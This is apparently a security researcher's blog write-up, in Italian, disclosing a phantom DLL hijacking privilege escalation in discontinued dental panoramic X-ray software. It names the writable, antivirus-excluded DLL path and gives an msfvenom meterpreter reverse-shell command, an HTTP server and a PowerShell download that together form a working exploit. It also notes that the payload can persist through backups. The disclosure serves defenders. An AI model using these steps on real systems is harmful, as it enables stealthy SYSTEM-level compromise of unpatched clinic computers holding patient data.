
Software di imaging dentale panoramico: vulnerabilità furtiva di elevazione dei privilegi
Inizialmente, questo doveva essere un write-up sul DLL proxying in un software per macchine radiografiche dentali, ma durante la mia ricerca mi sono imbattuto in una DLL che mi ha fatto ricontrollare tutto, portandomi infine a scoprire una vulnerabilità di escalation dei privilegi che mi è valsa una CVE. All'inizio della mia carriera tecnica, facevo supporto tecnico per un produttore di macchine radiografiche dentali prima che chiudesse i battenti. Ricordo i bug che emergevano mentre lavoravo lì e ho sempre pensato che sarebbe stata una buona idea provare a trovare vulnerabilità in quel software. Quindi, visto che il software è ancora in uso oggi, ho deciso di vedere se potevo fare qualcosa di interessante ora che ho lasciato il mondo del supporto software. Ricordo che qualche tempo fa, agli inizi dei miei studi di cybersicurezza, c'erano un paio di DLL hijackabili piuttosto interessanti in quel software; ho deciso di cimentarmi nel DLL proxying per vedere se riuscivo a far eseguire una DLL dannosa mantenendo il software funzionante (un approccio davvero furtivo). Ecco il processo che ho seguito e come ho scoperto per caso una vulnerabilità di escalation dei privilegi che può (teoricamente) sopravvivere a una formattazione completa e alla reinstallazione del sistema operativo. Spero che queste informazioni siano utili per i Blue Teamer.
Una cosa da notare è che questo software non riceve più aggiornamenti, ma so che le macchine radiografiche sono ancora in uso negli Stati Uniti, quindi esiste ancora un potenziale rischio legato a questa vulnerabilità. Può essere scaricato qui insieme al manuale del software qui. Un'altra cosa da notare è che SE questo software è in uso, c'è una probabilità del 99% che i processi eseguiti e le seguenti posizioni siano nella whitelist di qualsiasi ERD/AV in uso; questo è menzionato anche a pagina 24 del manuale del software. In questo write-up farò la stessa cosa e aggiungerò queste esclusioni per replicare il modo in cui questo software verrebbe installato in ogni studio dentistico.

Dopo aver installato il software e aggiunto le esclusioni, avviamo Process Monitor e iniziamo la ricerca. Aggiungiamo i seguenti filtri e riavviamo il "CCS Service" nei Servizi:
Una volta che i risultati vengono popolati, noterai che ci sono un sacco di DLL hijackabili in questo software. Vedrai numerosi risultati "NAME NOT FOUND" seguiti da un "SUCCESS" per la stessa DLL, ma in una posizione diversa subito dopo. Un giorno stavo scorrendo i risultati cercando una DLL decente con cui provare il proxying e, quasi in fondo, qualcosa ha attirato la mia attenzione...

Potrebbe essere?? LO È. Questa è una DLL fantasma richiamata con integrità SYSTEM da una posizione scrivibile dall'utente. In sostanza, questa è una DLL che non sarebbe adatta al proxying poiché non esiste una DLL reale da nessuna parte sulla macchina, quindi Windows proverà a richiamarla da un insieme predefinito di cartelle in un ordine specifico.
E nel nostro scenario la quinta posizione è C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll e su questa posizione tutti gli Utenti hanno permessi di lettura, scrittura ed esecuzione. Per di più, questa posizione è una sottocartella di C:\ProgramData\Ajat\, che dovrebbe essere nella whitelist in ogni ambiente in cui è in uso.

Ecco la configurazione di rete per questo test:
Iniziamo creando una semplice DLL meterpreter vanilla, dato che non dobbiamo preoccuparci dell'AV, poi avviamo un server http per trasferirla.
## msfvenom to make dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## python http server
python3 -m http.server 80
Tornando su Windows, passiamo al nostro account utente standard, apriamo PowerShell e navighiamo fino alla cartella datastor ed eseguiamo quanto segue:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

Se tutto è stato fatto correttamente, per attivare l'exploit basta riavviare il computer (visto che è un'azione che un utente normale può compiere; anche il riavvio del CCS Service lo attiverà).

SUCCESSO!!!
Ora, uno degli aspetti chiave della posizione datastor è che è una delle due posizioni che dovrebbero essere sottoposte a backup nel caso in cui il computer debba essere formattato o sostituito per qualsiasi motivo e il software venga reinstallato. Se il contenuto della cartella calib viene perso, un tecnico dovrà recarsi sul posto per ricalibrare la macchina radiografica e recuperarlo. Se i file datastor vengono persi, si perdono le immagini radiografiche più recenti che non erano ancora state salvate, quindi questa posizione è in qualche modo opzionale per il backup. Questa è la posizione in cui risiederà il malware, quindi è teoricamente possibile che qualcuno reinfetti accidentalmente un computer con il malware se ripristina, sul nuovo computer, il contenuto di un datastor sottoposto a backup che conteneva il malware e tutte quelle recenti immagini radiografiche. Questo è menzionato a pagina due del manuale del software.
